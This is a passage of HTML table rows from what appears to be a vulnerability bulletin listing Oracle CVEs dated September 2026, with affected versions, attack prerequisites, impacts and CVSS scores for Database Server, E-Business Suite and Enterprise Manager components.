&lt;td&gt;Vulnerability in the RDBMS component of Oracle Database Server. Supported versions that are affected are 23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having Create Table privilege with network access via Oracle Net to compromise RDBMS. Successful attacks of this vulnerability can result in takeover of RDBMS. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83160&quot; target=&quot;_blank&quot;&gt;CVE-2026-83160&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Database Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the RDBMS component of Oracle Database Server. Supported versions that are affected are 19.3-19.32, 21.3-21.23 and 23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having Execute on DBMS_REDEFINITION privilege with network access via Oracle Net to compromise RDBMS. Successful attacks of this vulnerability can result in takeover of RDBMS. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83271&quot; target=&quot;_blank&quot;&gt;CVE-2026-83271&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Database Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Text component of Oracle Database Server. Supported versions that are affected are 19.3-19.32, 21.3-21.23 and 23.4.0-23.26.3. Difficult to exploit vulnerability allows low privileged attacker having Create Index privilege with network access via Oracle Net to compromise Oracle Text. While the vulnerability is in Oracle Text, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Text. CVSS 3.1 Base Score 8.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83272&quot; target=&quot;_blank&quot;&gt;CVE-2026-83272&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Database Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the RDBMS component of Oracle Database Server. Supported versions that are affected are 19.3-19.32, 21.3-21.23 and 23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having Create DB Link privilege with network access via Oracle Net to compromise RDBMS. Successful attacks of this vulnerability can result in takeover of RDBMS. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83348&quot; target=&quot;_blank&quot;&gt;CVE-2026-83348&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Database Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the RDBMS component of Oracle Database Server. Supported versions that are affected are 23.4.0-23.26.3. Difficult to exploit vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise RDBMS. Successful attacks of this vulnerability can result in takeover of RDBMS. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83351&quot; target=&quot;_blank&quot;&gt;CVE-2026-83351&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Database Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the RDBMS component of Oracle Database Server. Supported versions that are affected are 23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having Authenticated User privilege with network access via Oracle Net to compromise RDBMS. While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of RDBMS. CVSS 3.1 Base Score 7.7 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83088&quot; target=&quot;_blank&quot;&gt;CVE-2026-83088&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Database Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle XML Developers Kit component of Oracle Database Server. Supported versions that are affected are 19.3-19.32, 21.3-21.23 and 23.4.0-23.26.3. Difficult to exploit vulnerability allows low privileged attacker having XDKC privilege with network access via Oracle Net to compromise Oracle XML Developers Kit. Successful attacks of this vulnerability can result in takeover of Oracle XML Developers Kit. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83156&quot; target=&quot;_blank&quot;&gt;CVE-2026-83156&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Database Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Net Services component of Oracle Database Server. Supported versions that are affected are 23.4.0-23.26.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise Oracle Net Services. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Net Services. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83333&quot; target=&quot;_blank&quot;&gt;CVE-2026-83333&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Database Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Net Services component of Oracle Database Server. Supported versions that are affected are 19.3-19.32, 21.3-21.23 and 23.4.0-23.26.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise Oracle Net Services. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Net Services. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83349&quot; target=&quot;_blank&quot;&gt;CVE-2026-83349&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Database Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Net Services component of Oracle Database Server. Supported versions that are affected are 21.3-21.23 and 23.4.0-23.26.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise Oracle Net Services. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Net Services. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83350&quot; target=&quot;_blank&quot;&gt;CVE-2026-83350&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Demand Signal Repository&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Demand Signal Repository product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Demand Signal Repository. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Demand Signal Repository accessible data as well as unauthorized access to critical data or complete access to all Oracle Demand Signal Repository accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83428&quot; target=&quot;_blank&quot;&gt;CVE-2026-83428&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Demand Signal Repository&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Demand Signal Repository product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Demand Signal Repository. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Demand Signal Repository accessible data as well as unauthorized access to critical data or complete access to all Oracle Demand Signal Repository accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83429&quot; target=&quot;_blank&quot;&gt;CVE-2026-83429&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Demand Signal Repository&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Demand Signal Repository product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Demand Signal Repository. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Demand Signal Repository accessible data as well as unauthorized access to critical data or complete access to all Oracle Demand Signal Repository accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83455&quot; target=&quot;_blank&quot;&gt;CVE-2026-83455&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Demand Signal Repository&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Demand Signal Repository product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Demand Signal Repository. Successful attacks of this vulnerability can result in takeover of Oracle Demand Signal Repository. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83456&quot; target=&quot;_blank&quot;&gt;CVE-2026-83456&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Demand Signal Repository&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Demand Signal Repository product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Demand Signal Repository. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Demand Signal Repository accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Demand Signal Repository. CVSS 3.1 Base Score 8.1 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83457&quot; target=&quot;_blank&quot;&gt;CVE-2026-83457&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Depot Repair&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Depot Repair product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.10-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Depot Repair. Successful attacks of this vulnerability can result in takeover of Oracle Depot Repair. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83194&quot; target=&quot;_blank&quot;&gt;CVE-2026-83194&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Depot Repair&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Depot Repair product of Oracle E-Business Suite (component: Estimate and Actual Charges). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Depot Repair. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Depot Repair accessible data as well as unauthorized access to critical data or complete access to all Oracle Depot Repair accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83432&quot; target=&quot;_blank&quot;&gt;CVE-2026-83432&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Depot Repair&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Depot Repair product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Depot Repair. Successful attacks of this vulnerability can result in takeover of Oracle Depot Repair. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83188&quot; target=&quot;_blank&quot;&gt;CVE-2026-83188&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Depot Repair&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Depot Repair product of Oracle E-Business Suite (component: Recall Management). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Depot Repair. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Depot Repair accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Depot Repair. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83436&quot; target=&quot;_blank&quot;&gt;CVE-2026-83436&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Document Management and Collaboration&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Document Management and Collaboration product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Document Management and Collaboration. Successful attacks of this vulnerability can result in takeover of Oracle Document Management and Collaboration. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83452&quot; target=&quot;_blank&quot;&gt;CVE-2026-83452&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Document Management and Collaboration&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Document Management and Collaboration product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Document Management and Collaboration. Successful attacks of this vulnerability can result in takeover of Oracle Document Management and Collaboration. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83454&quot; target=&quot;_blank&quot;&gt;CVE-2026-83454&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Document Management and Collaboration&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Document Management and Collaboration product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Document Management and Collaboration. Successful attacks of this vulnerability can result in takeover of Oracle Document Management and Collaboration. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83453&quot; target=&quot;_blank&quot;&gt;CVE-2026-83453&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Engineering&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Engineering product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Engineering. While the vulnerability is in Oracle Engineering, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Engineering accessible data as well as unauthorized access to critical data or complete access to all Oracle Engineering accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83438&quot; target=&quot;_blank&quot;&gt;CVE-2026-83438&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Engineering&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Engineering product of Oracle E-Business Suite (component: Change Management). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Engineering. While the vulnerability is in Oracle Engineering, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Engineering accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83437&quot; target=&quot;_blank&quot;&gt;CVE-2026-83437&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Enterprise Manager for Fusion Middleware&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Enterprise Manager for Fusion Middleware product of Oracle Enterprise Manager (component: Metrics). Supported versions that are affected are 13.5 and 24.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Enterprise Manager for Fusion Middleware. Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager for Fusion Middleware. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83355&quot; target=&quot;_blank&quot;&gt;CVE-2026-83355&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Enterprise Manager for Oracle Database&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Enterprise Manager for Oracle Database product of Oracle Enterprise Manager (component: Core). The supported version that is affected is 24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager for Oracle Database. While the vulnerability is in Oracle Enterprise Manager for Oracle Database, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Enterprise Manager for Oracle Database accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83068&quot; target=&quot;_blank&quot;&gt;CVE-2026-83068&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Field Service&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Field Service product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Field Service. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Field Service accessible data as well as unauthorized update, insert or delete access to some of Oracle Field Service accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Field Service. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83091&quot; target=&quot;_blank&quot;&gt;CVE-2026-83091&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Field Service&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Field Service product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Field Service. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Field Service accessible data as well as unauthorized access to critical data or complete access to all Oracle Field Service accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Field Service. CVSS 3.1 Base Score 7.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83092&quot; target=&quot;_blank&quot;&gt;CVE-2026-83092&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Field Service&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Field Service product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Field Service. While the vulnerability is in Oracle Field Service, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Field Service accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83141&quot; target=&quot;_blank&quot;&gt;CVE-2026-83141&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Financials Common Modules&lt;/td&gt;
